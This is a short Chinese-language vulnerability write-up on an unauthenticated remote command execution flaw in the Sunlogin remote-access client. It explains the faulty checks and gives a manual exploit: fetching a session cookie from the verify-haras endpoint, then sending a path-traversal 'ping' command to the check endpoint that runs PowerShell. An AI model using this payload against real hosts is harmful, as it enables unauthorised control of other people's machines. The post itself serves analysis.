向日葵RCE 脆弱版本:SunloginClient_11.0.0.33162_X64
一个快速利用的脚本
直接给链接,没什么好说的,script-kids 的最爱。
https://github.com/Mr-xn/sunlogin_rce
深入理解其背后的原理
一句话概括:if函数中的逻辑写的不严谨,导致未授权访问
Step1:问题所在:一个未授权访问的函数
- 这里直接比较,action_value是否等于 verify-haras
- 所以很常规的思路-获取此 verify-haras。我们直接访问http://****:49843/cgi-bin/rpc?action=verify-haras
- cgi-bin:需要服务器上有 相应的程序对访问者输入的信息进行处理时,会将用户的数据存在cgi-bin目录下
Step2:一个脆弱的 check 函数
- 当参数cmd的值以ping或者nslookup开头时,可以构造命令,进而实现远程命令执行利用
- 利用思路:传参时尽量带上 , ping/ nslookup
Step3:手工payload
- 获取不变的cookie
直接访问,抓包获取cookie
http://****:49843/cgi-bin/rpc?action=verify-haras
- exploit
###Get URL
http://****:49843/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+%20whoami
###Cookie Info
Cookie:CID=PEYMEjYeyKrFKyNqn18536BWNYfLDz25